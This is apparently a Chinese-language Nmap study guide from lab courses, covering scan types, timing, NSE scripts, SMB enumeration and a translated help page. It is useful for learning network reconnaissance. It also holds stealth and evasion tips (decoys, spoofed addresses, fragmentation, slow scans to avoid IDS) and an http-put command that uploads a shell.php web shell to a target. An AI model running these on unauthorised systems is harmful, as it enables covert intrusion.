在下面的 Wireshark 封包擷取視窗中,我們看到 Nmap 會向各種連接埠(256、443、143 等)發送帶有 SYN 標誌的 TCP 封包。預設情況下,Nmap 將嘗試連接到 1000 個最常見的連接埠。關閉的 TCP 連接埠會以 RST/ACK 回應 SYN 封包,以表示它尚未開啟。當我們嘗試與所有關閉的連接埠啟動 TCP 3 向握手時,將重複此模式。

image-1709219344868.png

我們注意到連接埠 143 是開放的,因此它回復了 SYN/ACK,Nmap 透過發送 ACK 完成了 3 次握手。下圖顯示了我們的Nmap主機和目標系統的143埠之間交換的所有資料包。前三個資料包是正在完成的TCP 3次握手。然後,第四個資料包用 RST/ACK 資料包將其撕毀。

image-1709219375877.png

# -sT tcp連線 scan
# -F 預設是最常用的1000port,使用該參數則為快速掃瞄(top 100 port)
# -r 預設掃描為亂數取port,該參數可固定排序
$ nmap -sT -F -r 10.10.88.190

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 09:53 BST
Nmap scan report for 10.10.88.190
Host is up (0.0024s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds

TCP SYN 掃描 (-sS)

非特權用戶僅限連線掃描。但是,預設掃描模式是SYN掃描,並且需要特權使用者(root或sudoer)才能運行它。SYN掃描不需要完成TCP 三向交握;相反,一旦收到伺服器的回應,它就會斷開連接。因為我們沒有建立 TCP 連接,所以這減少了記錄掃描的機會。我們可以透過使用選項來選擇這種掃描類型-sS

因為三向握手從未完成,所以信息不會傳遞到應用層,因此不會出現在任何應用程序日誌中。SYN掃描也更快速和高效,因為發送和接收的數據包更少。

SYN 掃描有很多好處:

然而,SYN 掃描有一些缺點,即:

總而言之,利大於弊。

下圖顯示了在未完成 TCP 三向交握 的情況下 TCP SYN 掃描的工作原理。

image-1709219845727.png

在下圖的上半部分,我們可以看到一個TCP連接掃描-sT流量。任何開啟的 TCP 連接埠都需要 Nmap 在關閉連線之前完成 TCP 3 次握手。在下圖的下半部分,我們看到一次SYN掃描如何-sS不需要完成TCP 3次握手;相反,一旦收到 SYN/ACK 封包,Nmap 就會發送 RST 封包。

image-1709219892490.pngTCP SYN 掃描是以特權使用者身分執行 Nmap、以 root 身分執行或使用 sudo 執行 Nmap 時的預設掃描模式

當使用 SYN 掃描來識別關閉和過濾的連接埠時,適用與 TCP 連線掃描(-sT)完全相同的規則。

如果連接埠關閉,則伺服器會使用 RST TCP 封包進行回應。如果連接埠被防火牆過濾,則 TCP SYN 封包將被丟棄,或透過 TCP 重設進行欺騙。

在這方面,兩次掃描是相同的:最大的區別在於它們處理開放連接埠的方式。

# -sS tcp ack掃描
$ sudo nmap -sS 10.10.88.190

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 09:53 BST
Nmap scan report for 10.10.88.190
Host is up (0.0073s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds

UTP 掃描 (-sU)

與 TCP 不同,UDP 連線是無狀態的。這意味著,UDP 連接不是透過來回「握手」來啟動連接,而是依賴將封包發送到目標端口,並本質上希望它們能夠成功。這使得 UDP 非常適合依賴速度而不是品質的連接(例如視訊共享),但是缺乏確認使得 UDP 的掃描變得更加困難(並且速度慢得多)。Nmap UDP 掃描的開關是 ( -sU)

當資料包發送到開放的 UDP 連接埠時,不應有回應。發生這種情況時,Nmap 將該連接埠稱為 being open|filtered。換句話說,它懷疑連接埠是開放的,但可能被防火牆阻止。如果它收到 UDP 回應(這是非常不尋常的),則該連接埠被標記為open。更常見的是沒有回應,在這種情況下,會再次發送請求以進行雙重檢查。如果仍然沒有回應,則連接埠被標記為開啟|已過濾並且 Nmap 繼續前進。

當封包傳送到關閉的UDP 連接埠時,目標應使用 ICMP (ping) 封包進行回應,其中包含該連接埠無法存取的訊息。這清楚地識別了關閉的端口,Nmap 將其標記為關閉的端口並繼續前進。


由於難以識別 UDP 連接埠是否實際打開,因此與各種 TCP 掃描相比,UDP 掃描往往非常緩慢(在連接良好的情況下掃描前 1000 個連接埠大約需要 20 分鐘)。因此,在--top-ports <number>啟用的情況下執行 Nmap 掃描通常是一個好習慣。例如,使用 進行掃描  nmap -sU --top-ports 20 <target>。將掃描前 20 個最常用的 UDP 端口,從而獲得更可接受的掃描時間。

# nmap -sU -p 53 192.168.1.1
# nmap -sU --top-ports 20 <target>

掃描範圍與效能

# port清單:-p22,80,443 將掃描連接埠 22、80 和 443。
# port範圍:-p1-1023 將掃描 1 到 1023(含)之間的所有port
# 您可以使用 請求掃描所有端口-p-,這將掃描所有 65535 個端口。 或是 -p1-65535
# -F 掃描最常見的 100 個port 
# --top-ports 10 將檢查10個最常見的連接埠。

# 掃瞄速度 -T<0-5> (如果您不指定任何計時,Nmap 將使用 normal -T3。)
您可以使用 控制掃描時序-T<0-5>。-T0是最慢的, -T5而是最快的。根據Nmap手冊頁,有六個範本:
為了避免 IDS 警報,您可以考慮-T0或-T1。例如,-T0一次掃描一個端口,並在發送每個探測之間等待 5 分鐘,
因此您可以猜測掃描一個目標需要多長時間才能完成。
請注意,-T5 就速度而言,這是最具侵略性的;但是,由於丟包的可能性增加,這可能會影響掃描結果的準確性。
請注意,這-T4通常在 CTF 期間和學習掃描練習目標時使用,而-T1通常在隱密更重要的真實交戰中使用。

# 控制資料包速率
# 例如,--max-rate 10或--max-rate=10 確保您的掃描器每秒發送的資料包不超過十個。
--min-rate <number> 控制資料封包速率(最小)
--max-rate <number> 控制資料封包速率(最大)

# 並行
--min-parallelism <numprobes>此外,您可以使用和 控制探測並行化--max-parallelism <numprobes>。
Nmap 探測目標以發現哪些主機處於活動狀態以及哪些連接埠是開放的;探測並行化指定可以並行運行的此類探測的數量。
例如,--min-parallelism=512推動Nmap保持至少512個探針並行;這512個探測與主機發現和開放連接埠有關。

進階服務掃描

# TCP Null Scan			sudo nmap -sN 10.10.156.21
# TCP FIN Scan			sudo nmap -sF 10.10.156.21
# TCP Xmas Scan			sudo nmap -sX 10.10.156.21
# TCP Maimon Scan		sudo nmap -sM 10.10.156.21
# TCP ACK Scan			sudo nmap -sA 10.10.156.21
# TCP Window Scan		sudo nmap -sW 10.10.156.21
# Custom TCP Scan		sudo nmap --scanflags URGACKPSHRSTSYNFIN 10.10.156.21
# Spoofed Source IP		sudo nmap -S SPOOFED_IP 10.10.156.21
# Spoofed MAC Address	--spoof-mac SPOOFED_MAC
# Decoy Scan			nmap -D DECOY_IP,ME 10.10.156.21
# Idle (Zombie) Scan	sudo nmap -sI ZOMBIE_IP 10.10.156.21
# Fragment IP data into 8 bytes		-f
# Fragment IP data into 16 bytes	-ff

# 更多參數
--source-port PORT_NUM 指定來源連接埠號
--data-length NUM 附加隨機資料以達到給定長度
--reason	解釋 Nmap 如何得出結論
-v			冗長的
-vv			非常詳細
-d			偵錯
-dd			更多調試細節

NULLFINXmas TCP 連接埠掃描比我們已經介紹過的其他連接埠掃描不太常用,因此我們不會在這裡深入討論。這三者都是相互關聯的,之所以使用,主要是因為相對而言,它們比 SYN「隱形」掃描更隱密。從 NULL 掃描開始:

 

這些掃描對開放連接埠的預期回應也是相同的,並且與 UDP 掃描的回應非常相似。如果連接埠打開,則不會對格式錯誤的資料包做出回應。不幸的是(與開放的 UDP 連接埠一樣),如果連接埠受防火牆保護,這也是預期的行為,因此 NULL、FIN 和 Xmas 掃描將僅將連接埠識別為open |filteredcloseFiltered。如果某個連接埠被這些掃描之一識別為已過濾,則通常是因為目標已回應 ICMP 無法到達的封包。

另外值得注意的是,雖然 RFC 793 要求網路主機對關閉連接埠使用 RST TCP 封包回應格式錯誤的封包,而對開放埠完全不回應;實際情況並非總是如此。特別是,眾所周知,Microsoft Windows(以及許多 Cisco 網路設備)會使用 RST 來回應任何格式錯誤的 TCP 封包 - 無論連接埠是否實際開啟。這會導致所有連接埠顯示為關閉。

也就是說,這裡的目標當然是繞過防火牆。許多防火牆配置為將傳入的 TCP 封包丟棄到設定了 SYN 標誌的封鎖連接埠(從而阻止新的連線發起請求)。透過發送不包含 SYN 標誌的請求,我們可以有效地繞過這種防火牆。雖然這在理論上很好,但大多數現代 IDS 解決方案都熟悉這些掃描類型,因此在處理現代系統時不要依賴它們 100% 有效。

作業系統偵測 (-O)

Nmap 可以根據作業系統 (OS) 的行為及其回應中的任何跡象來偵測作業系統 (OS)。可以使用以下命令啟用作業系統偵測-O;這是OS 中的大寫 O。在此範例中,我們 nmap -sS -O 10.10.85.33 偵測到作業系統是 Linux 3.X,然後進一步猜測它運行的是 3.13 核心。

$ sudo nmap -sS -O 10.10.85.33

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 05:04 BST
Nmap scan report for 10.10.85.33
Host is up (0.00099s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:A0:E7:B5:B6:C5 (Unknown)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3.13
OS details: Linux 3.13
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.91 seconds

我們掃描並嘗試偵測其作業系統版本的系統正在執行核心版本 3.16。Nmap 能夠在這種情況下做出接近的猜測。在另一個案例中,我們掃描了核心為5.13.14的Fedora Linux系統;然而,Nmap 檢測到它是 Linux 2.6.X。好消息是 Nmap 正確偵測到作業系統;不太好的消息是內核版本錯誤。

作業系統偵測非常方便,但影響其準確性的因素很多。首先,Nmap 需要在目標上找到至少一個開放端口和一個關閉端口,才能做出可靠的猜測。此外,由於虛擬化和類似技術的使用不斷增加,來賓作業系統指紋可能會被扭曲。因此,請始終對作業系統版本持保留態度。

路由追蹤 (--traceroute)

如果您希望 Nmap 找到您和目標之間的路由器,只需新增--traceroute. 在以下範例中,Nmap 將追蹤路由附加到其掃描結果中。traceroute請注意,Nmap 的追蹤路由的工作方式與Linux 和 macOS 或tracertMS Windows 上的命令略有不同。標準 traceroute從低 TTL(生存時間)資料包開始,並不斷增加,直到到達目標。Nmap的traceroute從一個高TTL的資料包開始,並不斷減少它。

在下面的範例中,我們nmap -sS --traceroute 10.10.85.33在 AttackBox 上執行。我們可以看到兩者之間沒有路由器/躍點,因為它們是直接連接的。

$ sudo nmap -sS --traceroute 10.10.85.33

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 05:05 BST
Nmap scan report for 10.10.85.33
Host is up (0.0015s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:A0:E7:B5:B6:C5 (Unknown)

TRACEROUTE
HOP RTT     ADDRESS
1   1.48 ms MACHINE_IP

Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds

Nmap 腳本引擎 (NSE) (-sC)

使用腳本 NSE

Nmap 提供使用 Lua 語言的腳本的支援。Nmap 腳本引擎(NSE)是 Nmap 的一部分,是一個 Lua 解釋器,允許 Nmap 執行用 Lua 語言編寫的 Nmap 腳本。然而,我們不需要學習Lua來使用Nmap腳本。

/usr/share/nmap/scripts,您會注意到有數百個腳本,以它們所針對的協定開頭,方便命名。

您可以指定使用這些已安裝腳本中的任何一個或一組;此外,您可以安裝其他使用者的腳本並將其用於掃描。讓我們從預設腳本開始。--script=default您可以選擇使用或簡單地新增來執行預設類別中的腳本-sC。除了default之外,類別還包括 auth、broadcast、brute、default、discovery、dos、exploit、external、fuzzer、intrusive、malware、safe、version 和 vuln。簡要說明如下表所示。
可以在此處找到更詳盡的清單。

腳本類別 描述
auth 認證相關腳本
broadcast 透過發送廣播訊息發現主機
brute 對登入執行暴力密碼審核
default 預設腳本,同-sC
discovery 檢索可存取的信息,例如資料庫表和 DNS 名稱
dos 偵測易受拒絕服務 (DoS) 攻擊的伺服器
exploit 嘗試利用各種易受攻擊的服務
external 使用第三方服務進行檢查,例如 Geoplugin 和 Virustotal
fuzzer 發動模糊攻擊
intrusive 暴力攻擊和利用等侵入性腳本
malware 掃描後門
safe 不會使目標崩潰的安全腳本
version 檢索服務版本
vuln 檢查漏洞或利用易受攻擊的服務

有些腳本屬於多個類別。此外,一些腳本對服務發動暴力攻擊,而另一些腳本則發動 DoS 攻擊並利用系統。因此,如果您不想使服務崩潰或利用它們,那麼在選擇要執行的腳本時要小心,這一點至關重要。

我們使用 Nmap 運行 SYN 掃描10.10.218.169並在控制台中執行預設腳本,如下所示。命令是sudo nmap -sS -sC 10.10.218.169,其中-sC將確保 Nmap 將在 SYN 掃描之後執行預設腳本。下面出現了新的詳細資訊。查看22埠的SSH服務;Nmap 恢復了與正在運行的伺服器相關的所有四個公鑰。考慮另一個例子,連接埠 80 上的 HTTP 服務;Nmap 檢索預設頁面標題。我們可以看到該頁面已保留為預設頁面。

# -sC 不帶參數就是跑 預設腳本
$ sudo nmap -sS -sC 10.10.218.169

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 05:08 BST
Nmap scan report for ip-10-10-161-170.eu-west-1.compute.internal (10.10.161.170)
Host is up (0.0011s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
| ssh-hostkey: 
|   1024 d5:80:97:a3:a8:3b:57:78:2f:0a:78:ae:ad:34:24:f4 (DSA)
|   2048 aa:66:7a:45:eb:d1:8c:00:e3:12:31:d8:76:8e:ed:3a (RSA)
|   256 3d:82:72:a3:07:49:2e:cb:d9:87:db:08:c6:90:56:65 (ECDSA)
|_  256 dc:f0:0c:89:70:87:65:ba:52:b1:e9:59:f7:5d:d2:6a (EdDSA)
25/tcp  open  smtp
|_smtp-commands: debra2.thm.local, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=debra2.thm.local
| Not valid before: 2021-08-10T12:10:58
|_Not valid after:  2031-08-08T12:10:58
|_ssl-date: TLS randomness does not represent time
80/tcp  open  http
|_http-title: Welcome to nginx on Debian!
110/tcp open  pop3
|_pop3-capabilities: RESP-CODES CAPA TOP SASL UIDL PIPELINING AUTH-RESP-CODE
111/tcp open  rpcbind
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          38099/tcp  status
|_  100024  1          54067/udp  status
143/tcp open  imap
|_imap-capabilities: LITERAL+ capabilities IMAP4rev1 OK Pre-login ENABLE have LOGINDISABLEDA0001 listed SASL-IR ID more post-login LOGIN-REFERRALS IDLE
MAC Address: 02:A0:E7:B5:B6:C5 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.21 seconds

要運行特定腳本,我們將使用--script=<script-name>,例如--script=http-fileupload-exploiter。也可以使用名稱或模式(例如 --script "ftp*",其中包括 )來指定腳本ftp-brute。如果您不確定腳本的作用,可以使用文字閱讀器(例如 )less或文字編輯器開啟腳本檔案。在 的例子中 ftp-brute,它指出:“對 FTP 伺服器執行暴力密碼審核。” 您必須小心,因為某些腳本非常具有侵入性。此外,某些腳本可能適用於特定伺服器,如果隨機選擇,則會浪費您的時間而沒有任何好處。與往常一樣,請確保您有權在目標伺服器上啟動此類測試。

透過用逗號分隔多個腳本可以以這種方式同時運行。例如:--script=smb-enum-users,smb-enum-shares

某些腳本需要參數(例如,憑證,如果它們正在利用經過身份驗證的漏洞)。這些可以透過 Nmap 開關給出--script-args。腳本就是一個例子http-put(用於使用 PUT 方法上傳檔案)。這需要兩個參數:將檔案上傳到的 URL 以及檔案在磁碟上的位置。例如:

nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php'

請注意,參數之間以逗號分隔,並用句點(即  <script-name>.<argument>)連接到對應的腳本。

# --script=<script-name> 運行特定腳本
# 	透過用逗號分隔多個腳本可以以這種方式同時運行 --script=smb-enum-users,smb-enum-shares
# --script-args 給定參數
# 	參數之間以逗號分隔,並用句點(即  <script-name>.<argument>)連接到對應的腳本
$ nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' 

可以在此處找到腳本及其相應參數(以及範例用例)的完整清單。

讓我們考慮一個良性腳本,http-date我們猜測它會檢索 http 伺服器日期和時間,這在其描述中確實得到了證實:「從類似 HTTP 的服務獲取日期。此外,它還會列印日期與當地時間的差異…」,我們執行 sudo nmap -sS -n --script "http-date" 10.10.218.169如下控制台所示。

# --script=<script-name> 運行特定腳本
# 	透過用逗號分隔多個腳本可以以這種方式同時運行 --script=smb-enum-users,smb-enum-shares
# --script-args 給定參數
# 	參數之間以逗號分隔,並用句點(即  <script-name>.<argument>)連接到對應的腳本
# 	nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' 

$ sudo nmap -sS -n --script "http-date" 10.10.218.169

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 08:04 BST
Nmap scan report for 10.10.218.169
Host is up (0.0011s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
|_http-date: Fri, 10 Sep 2021 07:04:26 GMT; 0s from local time.
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:44:87:82:AC:83 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

尋找腳本

我們有兩種選擇,最好將它們結合使用。

第一個是Nmap 網站上的頁面,其中包含所有官方腳本的清單
第二個是攻擊機器上的本機儲存。Nmap 在 Linux 上將其腳本儲存在/usr/share/nmap/scripts. 預設情況下,所有 NSE 腳本都儲存在該目錄中—當您指定腳本時,Nmap 會在該目錄中尋找腳本。

有兩種方法可以搜尋已安裝的腳本。一種是使用/usr/share/nmap/scripts/script.db文件。儘管有擴展名,但這實際上並不是一個資料庫,而是一個包含每個可用腳本的檔案名稱和類別的格式化文字檔案。

# file /usr/share/nmap/scripts/script.db 
/usr/share/nmap/scripts/script.db: ASCII text

# head /usr/share/nmap/scripts/script.db 
Entry { filename = "acarsd-info.nse", categories = { "discovery", "safe", } }
Entry { filename = "address-info.nse", categories = { "default", "safe", } }
Entry { filename = "afp-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "afp-ls.nse", categories = { "discovery", "safe", } }
Entry { filename = "afp-path-vuln.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "afp-serverinfo.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "afp-showmount.nse", categories = { "discovery", "safe", } }
Entry { filename = "ajp-auth.nse", categories = { "auth", "default", "safe", } }
Entry { filename = "ajp-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "ajp-headers.nse", categories = { "discovery", "safe", } }

Nmap 使用此文件來追蹤(並利用)腳本引擎的腳本;但是,我們也可以透過grep,或是 ls 來找出腳本。例如:

# grep "ftp" /usr/share/nmap/scripts/script.db 
Entry { filename = "ftp-anon.nse", categories = { "auth", "default", "safe", } }
Entry { filename = "ftp-bounce.nse", categories = { "default", "safe", } }
Entry { filename = "ftp-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "ftp-libopie.nse", categories = { "intrusive", "vuln", } }
Entry { filename = "ftp-proftpd-backdoor.nse", categories = { "exploit", "intrusive", "malware", "vuln", } }
Entry { filename = "ftp-syst.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "ftp-vsftpd-backdoor.nse", categories = { "exploit", "intrusive", "malware", "vuln", } }
Entry { filename = "ftp-vuln-cve2010-4221.nse", categories = { "intrusive", "vuln", } }
Entry { filename = "tftp-enum.nse", categories = { "discovery", "intrusive", } }

# ls -al /usr/share/nmap/scripts/*ftp*
-rw-r--r-- 1 root root 4564 Apr 16  2018 /usr/share/nmap/scripts/ftp-anon.nse
-rw-r--r-- 1 root root 3253 Apr 16  2018 /usr/share/nmap/scripts/ftp-bounce.nse
-rw-r--r-- 1 root root 3108 Apr 16  2018 /usr/share/nmap/scripts/ftp-brute.nse
-rw-r--r-- 1 root root 3258 Apr 16  2018 /usr/share/nmap/scripts/ftp-libopie.nse
-rw-r--r-- 1 root root 3295 Apr 16  2018 /usr/share/nmap/scripts/ftp-proftpd-backdoor.nse
-rw-r--r-- 1 root root 3810 Apr 16  2018 /usr/share/nmap/scripts/ftp-syst.nse
-rw-r--r-- 1 root root 6007 Apr 16  2018 /usr/share/nmap/scripts/ftp-vsftpd-backdoor.nse
-rw-r--r-- 1 root root 5943 Apr 16  2018 /usr/share/nmap/scripts/ftp-vuln-cve2010-4221.nse
-rw-r--r-- 1 root root 5678 Apr 16  2018 /usr/share/nmap/scripts/tftp-enum.nse

安裝腳本

# 直接更新
sudo apt update && sudo apt install nmap

# 手動下載
sudo wget -O /usr/share/nmap/scripts/<script-name>.nse https://svn.nmap.org/nmap/scripts/<script-name>.nse
# 下載完更新DB
nmap --script-updatedb

防火牆規避

您的典型 Windows 主機將使用其預設防火牆阻止所有 ICMP 封包。這就帶來了一個問題:我們不僅經常使用ping來手動建立目標的活動,Nmap 預設也會做同樣的事情。這表示 Nmap 會將具有此防火牆配置的主機註冊為死亡主機,並且根本不會掃描它。

因此,我們需要一種方法來繞過這個配置。幸運的是,Nmap 為此提供了一個選項:-Pn,它告訴 Nmap 在掃描主機之前不要費心 ping 主機。這意味著 Nmap 將始終將目標主機視為活動的,從而有效地繞過 ICMP 區塊;然而,它的代價是可能需要很長時間才能完成掃描(如果主機確實死了,那麼 Nmap 仍然會檢查並仔細檢查每個指定的連接埠)。

值得注意的是,如果您已經直接位於本機網路上,Nmap 也可以使用 ARP 請求來確定主機活動。

Nmap 認為還有多種其他開關可用於規避防火牆。我們不會詳細介紹這些內容,但是,您可以在這裡找到它們。

以下開關尤其值得注意:


Nmap 參數說明

以下是Nmap 7.94的說明及參數翻譯:

Nmap 7.94(https://nmap.org)
用法:nmap [掃描類型] [選項] {目標指定}
目標指定:
  可傳遞主機名、IP地址、網絡等等。
  例如:scanme.nmap.org、microsoft.com/24、192.168.0.1; 10.0.0-255.1-254
  -iL <輸入文件名>:從主機/網絡列表輸入
  -iR <主機數量>:選擇隨機目標
  --exclude <主機1[,主機2][,主機3],...>:排除主機/網絡
  --excludefile <排除文件>:從文件排除列表
主機發現:
  -sL:列表掃描 - 簡單列出要掃描的目標
  -sn:Ping掃描 - 停用端口掃描
  -Pn:將所有主機視為在線 - 跳過主機發現
  -PS/PA/PU/PY<端口列表>:TCP SYN/ACK、UDP或SCTP發現到指定端口
  -PE/PP/PM:ICMP echo、timestamp和netmask請求發現探針
  -PO[協議列表]:IP協議Ping
  -n/-R:永不執行DNS解析/總是解析 [默認:有時]
  --dns-servers <伺服器1[,伺服器2],...>:指定自定義DNS伺服器
  --system-dns:使用作業系統的DNS解析器
  --traceroute:追蹤到每個主機的跳躍路徑
掃描技術:
  -sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon掃描
  -sU:UDP掃描
  -sN/sF/sX:TCP Null、FIN和Xmas掃描
  --scanflags <標誌>:自定義TCP掃描標誌
  -sI <殭屍主機[:探針端口]>:閒置掃描
  -sY/sZ:SCTP INIT/COOKIE-ECHO掃描
  -sO:IP協議掃描
  -b <FTP中繼主機>:FTP彈跳掃描
端口指定和掃描順序:
  -p <端口範圍>:僅掃描指定的端口
    例如:-p22;-p1-65535;-p U:53,111,137,T:21-25,80,139,8080,S:9
  --exclude-ports <端口範圍>:排除掃描指定的端口
  -F:快速模式 - 掃描比默認更少的端口
  -r:按順序掃描端口 - 不隨機化
  --top-ports <數量>:掃描最常見的<數量>個端口
  --port-ratio <比率>:掃描比<比率>常見的端口
服務/版本檢測:
  -sV:探測打開的端口以確定服務/版本信息
  --version-intensity <級別>:設置從0(輕)到9(嘗試所有探針)的級別
  --version-light:限制最可能的探針(級別2)
  --version-all:嘗試每個單獨的探針(級別9)
  --version-trace:顯示詳細的版本掃描活動(用於調試)
腳本掃描:
  -sC:等同於 --script=default
  --script=<Lua腳本>: <Lua腳本> 是目錄、腳本文件或腳本類別的逗號分隔列表
  --script-args=<n1=v1,[

n2=v2,...]>:提供給腳本的參數
  --script-args-file=文件名:在文件中提供NSE腳本參數
  --script-trace:顯示發送和接收的所有數據
  --script-updatedb:更新腳本數據庫
  --script-help=<Lua腳本>:顯示有關腳本的幫助
          <Lua腳本> 是腳本文件或腳本類別的逗號分隔列表
OS檢測:
  -O:啟用OS檢測
  --osscan-limit:限制OS檢測對有希望的目標
  --osscan-guess:更積極地猜測OS
時間和性能:
  需要 <時間> 的選項以秒為單位,或在值后附加 'ms'(毫秒)、's'(秒)、'm'(分鐘)或'h'(小時)(例如 30m)。
  -T<0-5>:設置時間模板(較高表示更快)
  --min-hostgroup/max-hostgroup <大小>:平行主機掃描組大小
  --min-parallelism/max-parallelism <探針數量>:探針並行
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <時間>:指定探針往返時間
  --max-retries <嘗試次數>:限制端口掃描探針的重發次數
  --host-timeout <時間>:在此時間后放棄對目標的掃描
  --scan-delay/--max-scan-delay <時間>:調整探針之間的延遲
  --min-rate <數量>:每秒發送的封包數不低於<數量>
  --max-rate <數量>:每秒發送的封包數不高於<數量>
防火牆/入侵檢測和欺騙:
  -f; --mtu <值>:分段封包(可選附帶MTU)
  -D <欺騙主機1,欺騙主機2[,自己],...>:用欺騙主機偽裝掃描
  -S <IP地址>:偽造源地址
  -e <接口>:使用指定的接口
  -g/--source-port <端口號>:使用指定的端口號
  --proxies <URL1,[URL2],...>:通過HTTP/SOCKS4代理中繼連接
  --data <十六進制字符串>:附加自定義有效載荷到發送的封包
  --data-string <字符串>:附加自定義ASCII字符串到發送的封包
  --data-length <數量>:附加隨機數據到發送的封包
  --ip-options <選項>:發送指定IP選項的封包
  --ttl <值>:設置IP生存時間字段
  --spoof-mac <MAC地址/前綴/供應商名稱>:偽造MAC地址
  --badsum:發送具有虛偽的TCP/UDP/SCTP校驗和的封包
輸出:
  -oN/-oX/-oS/-oG <文件>:將掃描輸出到正常、XML、s|<rIpt kIddi3和Grepable格式,分別到指定的文件名
  -oA <基本名>:一次以三種主要格式輸出
  -v:增加詳細程度(使用 -vv 或更多以獲得更大效果)
  -d:增加調試程度(使用 -dd 或更多以獲得更大效果)
  --reason:顯示端口處於特定狀態的原因
  --open:僅顯示打開(或可能打開)的端口
  --packet-trace:顯示發送和接收的所有封包
  --iflist:打印主機接口和路由(用於調試)
  --append-output:附加到指定的輸出文件而不是覆蓋它
  --resume <文件名>:恢復中斷的掃描
  --noninteractive:禁用通過鍵盤的運行時交互
  --stylesheet <路徑/URL>:XSL樣式表以將XML輸出轉換為HTML
  --webxml:從Nmap.Org引用樣式表以實現更具可移植性的XML
  --no-stylesheet:防止將XSL樣式表與XML輸出關聯
其他:
  -6:啟用IPv6掃描
  -A:啟用OS檢測、版本檢測、腳本掃描和路由跟蹤
  --datadir <目錄名>:指定自定義Nmap數據文件位置
  --send-eth/--send-ip:使用原始以太網幀或IP封包發送
  --privileged:假定用戶具有完全特權
  --unprivileged:假定用戶缺乏原始套接字特權
  -V:打印版本號
  -h:打印此幫助摘要頁。
範例:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80

 

其他掃描

SMB 掃描

NetBIOS服務聽取TCP端口139,以及多個UDP端口。需要注意的是,SMB(TCP端口445)和NetBIOS是兩個獨立的協議。NetBIOS是一個獨立的會話層協議和服務,允許本地網絡上的計算機彼此通信。雖然現代SMB的實現可以在沒有NetBIOS的情況下運行,但為了向後兼容性,通常一起啟用NetBIOS over TCP(NBT)。這也意味著這兩個服務的列舉通常是相互關聯的。可以使用類似以下語法的工具,如nmap,來掃描這些服務:

kali@kali:~$ nmap -v -p 139,445 -oG smb.txt 192.168.50.1-254

kali@kali:~$ cat smb.txt
# Nmap 7.92 scan initiated Thu Mar 17 06:03:12 2022 as: nmap -v -p 139,445 -oG smb.txt 192.168.50.1-254
# Ports scanned: TCP(2;139,445) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 192.168.50.1 ()	Status: Down
...
Host: 192.168.50.21 ()	Status: Up
Host: 192.168.50.21 ()	Ports: 139/closed/tcp//netbios-ssn///, 445/closed/tcp//microsoft-ds///
...
Host: 192.168.50.217 ()	Status: Up
Host: 192.168.50.217 ()	Ports: 139/closed/tcp//netbios-ssn///, 445/closed/tcp//microsoft-ds///
# Nmap done at Thu Mar 17 06:03:18 2022 -- 254 IP addresses (15 hosts up) scanned in 6.17 seconds

Nmap還提供了許多有用的NSE腳本,我們可以使用它們來發現和列舉SMB服務。這些腳本位於/usr/share/nmap/scripts目錄中。

kali@kali:~$ ls -1 /usr/share/nmap/scripts/smb*
/usr/share/nmap/scripts/smb2-capabilities.nse
/usr/share/nmap/scripts/smb2-security-mode.nse
/usr/share/nmap/scripts/smb2-time.nse
/usr/share/nmap/scripts/smb2-vuln-uptime.nse
/usr/share/nmap/scripts/smb-brute.nse
/usr/share/nmap/scripts/smb-double-pulsar-backdoor.nse
/usr/share/nmap/scripts/smb-enum-domains.nse
/usr/share/nmap/scripts/smb-enum-groups.nse
/usr/share/nmap/scripts/smb-enum-processes.nse
/usr/share/nmap/scripts/smb-enum-sessions.nse
